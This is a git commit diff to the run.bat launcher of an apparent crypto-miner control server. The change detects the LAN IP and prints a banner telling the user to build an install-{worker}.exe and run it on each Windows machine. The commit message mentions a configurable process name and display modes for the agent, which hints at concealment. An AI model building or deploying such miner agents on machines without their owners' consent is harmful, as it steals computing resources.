Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
drjones
2026-05-26 23:26:39 -07:00
parent 6241dfd556
commit f7d6dcf542
24 changed files with 960 additions and 191 deletions

16
run.bat
View File

@@ -166,20 +166,26 @@ echo Server built: bin\miner-server.exe
:: ============================================================
echo [5/5] Starting server on port 8989...
echo.
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I
if not defined LAN_IP set LAN_IP=localhost
echo.
echo ╔══════════════════════════════════════════════════╗
echo ║ Crypto Miner Control Server ║
echo ║ ║
echo ║ Dashboard: http://localhost:8989 ║
echoWebSocket: ws://localhost:8989/ws/agent
echo ║ Dashboard: http://%LAN_IP%:8989
echoLocal: http://localhost:8989
echo ║ WebSocket: ws://%LAN_IP%:8989/ws/agent ║
echo ║ ║
echoData: %CD%\data\
echo ║ Config: %CD%\data\config.json
echo1. Open dashboard on your LAN
echo 2. Configure Settings
echo ║ 3. Build install-{worker}.exe in Builder ║
echo ║ 4. Run that exe once on each Windows machine ║
echo ║ ║
echo ║ Data: %CD%\data\ ║
echo ║ Press Ctrl+C to stop the server ║
echo ╚══════════════════════════════════════════════════╝
echo.
:: Launch browser
start http://localhost:8989
:: Run server